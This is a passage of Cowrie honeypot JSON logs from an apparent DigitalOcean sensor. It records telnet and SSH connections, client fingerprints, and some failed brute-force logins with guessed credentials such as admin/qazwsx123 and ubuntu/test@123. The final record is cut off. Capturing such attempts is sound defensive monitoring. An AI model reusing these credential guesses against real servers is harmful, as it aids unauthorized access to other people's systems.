{"eventid":"cowrie.session.closed","duration":30.577343225479126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:30.515581Z","src_ip":"66.111.11.103","session":"086dfd5541fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149518966674805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:31.270415Z","src_ip":"66.111.11.103","session":"ac0a455b9e74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":54780,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf8841fa4527","protocol":"telnet","message":"New connection: 66.111.11.103:54780 (159.203.135.109:23) [session: cf8841fa4527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:31.500063Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":54894,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1ab9bf85882","protocol":"telnet","message":"New connection: 66.111.11.103:54894 (159.203.135.109:23) [session: c1ab9bf85882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:31.786267Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33814,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fdcf183664e","protocol":"telnet","message":"New connection: 134.209.8.29:33814 (159.203.135.109:23) [session: 7fdcf183664e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:34.213550Z"}
{"eventid":"cowrie.session.closed","duration":31.118985891342163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:34.244814Z","src_ip":"66.111.11.103","session":"9a40f9424333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.135456562042236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:34.530750Z","src_ip":"66.111.11.103","session":"1036ca73d068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.661747932434082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:37.925268Z","src_ip":"66.111.11.103","session":"5758b2665cd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":58154,"dst_ip":"159.203.135.109","dst_port":23,"session":"b89e39557505","protocol":"telnet","message":"New connection: 66.111.11.103:58154 (159.203.135.109:23) [session: b89e39557505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:38.074217Z"}
{"eventid":"cowrie.session.closed","duration":64.63654136657715,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:38.865859Z","src_ip":"134.209.8.29","session":"2c20c82935fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.320639610290527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:39.425558Z","src_ip":"66.111.11.103","session":"ebd653be114d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900012731552124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:39.461196Z","src_ip":"66.111.11.103","session":"5532b83232d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428035259246826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:40.148673Z","src_ip":"66.111.11.103","session":"081d8829a382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.734594106674194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:40.968823Z","src_ip":"66.111.11.103","session":"4abe1bf68bcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125391960144043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:41.494197Z","src_ip":"66.111.11.103","session":"3c5a72d58a8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190205335617065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:42.763890Z","src_ip":"66.111.11.103","session":"5d7c58f41b26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":33186,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0c69a86defe","protocol":"telnet","message":"New connection: 66.111.11.103:33186 (159.203.135.109:23) [session: a0c69a86defe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:43.847425Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33818,"dst_ip":"159.203.135.109","dst_port":23,"session":"99e3195451aa","protocol":"telnet","message":"New connection: 134.209.8.29:33818 (159.203.135.109:23) [session: 99e3195451aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:44.742986Z"}
{"eventid":"cowrie.session.closed","duration":0.005587577819824219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:44.748467Z","src_ip":"134.209.8.29","session":"99e3195451aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20072293281555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:45.395553Z","src_ip":"66.111.11.103","session":"926d010dc53a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":50182,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5a8e33f130b","protocol":"ssh","message":"New connection: 148.216.28.11:50182 (10.17.0.5:22) [session: b5a8e33f130b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:45.474853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:45.482399Z","src_ip":"148.216.28.11","session":"b5a8e33f130b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:45.555378Z","src_ip":"148.216.28.11","session":"b5a8e33f130b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.18300485610962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:45.855975Z","src_ip":"66.111.11.103","session":"651f55f3249e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qazwsxedc","message":"login attempt [deploy/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:45.862370Z","src_ip":"148.216.28.11","session":"b5a8e33f130b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:46.934743Z","src_ip":"148.216.28.11","session":"b5a8e33f130b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.628316640853882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:47.448776Z","src_ip":"66.111.11.103","session":"c9612bf917a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":35286,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf4f62e2f977","protocol":"telnet","message":"New connection: 66.111.11.103:35286 (159.203.135.109:23) [session: bf4f62e2f977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:48.324090Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":32928,"dst_ip":"10.17.0.5","dst_port":22,"session":"9111c577cb5d","protocol":"ssh","message":"New connection: 147.50.231.135:32928 (10.17.0.5:22) [session: 9111c577cb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:48.722351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:48.727186Z","src_ip":"147.50.231.135","session":"9111c577cb5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.308016777038574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:48.776548Z","src_ip":"66.111.11.103","session":"23ba16562b8f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:49.151762Z","src_ip":"147.50.231.135","session":"9111c577cb5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.018245220184326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:50.205873Z","src_ip":"66.111.11.103","session":"8f81946e6f1b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsx123","message":"login attempt [admin/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:50.227075Z","src_ip":"147.50.231.135","session":"9111c577cb5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.99675679206848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:50.535407Z","src_ip":"66.111.11.103","session":"48468a9ed9cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":37104,"dst_ip":"159.203.135.109","dst_port":23,"session":"978750f67d73","protocol":"telnet","message":"New connection: 66.111.11.103:37104 (159.203.135.109:23) [session: 978750f67d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:51.399757Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:51.491744Z","src_ip":"147.50.231.135","session":"9111c577cb5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.3035089969635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:51.518736Z","src_ip":"66.111.11.103","session":"51d21b2096ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":37740,"dst_ip":"159.203.135.109","dst_port":23,"session":"77fd0a62543f","protocol":"telnet","message":"New connection: 66.111.11.103:37740 (159.203.135.109:23) [session: 77fd0a62543f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:51.590684Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.82.111","src_port":29696,"dst_ip":"159.203.135.109","dst_port":23,"session":"88fe574678e4","protocol":"telnet","message":"New connection: 170.79.82.111:29696 (159.203.135.109:23) [session: 88fe574678e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:55.864593Z"}
{"eventid":"cowrie.session.closed","duration":30.8452308177948,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:56.117763Z","src_ip":"66.111.11.103","session":"61e0c00bfa86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":51828,"dst_ip":"10.17.0.5","dst_port":22,"session":"da2585cac0da","protocol":"ssh","message":"New connection: 34.135.200.178:51828 (10.17.0.5:22) [session: da2585cac0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:56.469418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:56.477119Z","src_ip":"34.135.200.178","session":"da2585cac0da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:56.512917Z","src_ip":"34.135.200.178","session":"da2585cac0da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":40602,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a8598b9231b","protocol":"telnet","message":"New connection: 66.111.11.103:40602 (159.203.135.109:23) [session: 6a8598b9231b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:56.639138Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy12345678","message":"login attempt [deploy/deploy12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:56.687938Z","src_ip":"34.135.200.178","session":"da2585cac0da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:57.737966Z","src_ip":"34.135.200.178","session":"da2585cac0da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00342297554016,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:59.624726Z","src_ip":"134.209.8.29","session":"d01b40a50ac0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.571799755096436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:14:59.654220Z","src_ip":"66.111.11.103","session":"3017ae51314c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":44724,"dst_ip":"10.17.0.5","dst_port":22,"session":"3738db390264","protocol":"ssh","message":"New connection: 150.95.157.171:44724 (10.17.0.5:22) [session: 3738db390264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:01.472333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:01.480994Z","src_ip":"150.95.157.171","session":"3738db390264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:01.650250Z","src_ip":"150.95.157.171","session":"3738db390264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.746805667877197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:02.246764Z","src_ip":"66.111.11.103","session":"cf8841fa4527","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test@123","message":"login attempt [ubuntu/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:02.318092Z","src_ip":"150.95.157.171","session":"3738db390264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.753515481948853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:02.539667Z","src_ip":"66.111.11.103","session":"c1ab9bf85882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":44872,"dst_ip":"159.203.135.109","dst_port":23,"session":"891a094a57af","protocol":"telnet","message":"New connection: 66.111.11.103:44872 (159.203.135.109:23) [session: 891a094a57af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:03.170023Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:03.482448Z","src_ip":"150.95.157.171","session":"3738db390264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.38712930679321,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:04.380698Z","src_ip":"134.209.8.29","session":"6f153b26cf6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":58980,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb3e5079bcb8","protocol":"ssh","message":"New connection: 165.22.63.98:58980 (159.203.135.109:22) [session: eb3e5079bcb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:04.505898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:04.513368Z","src_ip":"165.22.63.98","session":"eb3e5079bcb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-51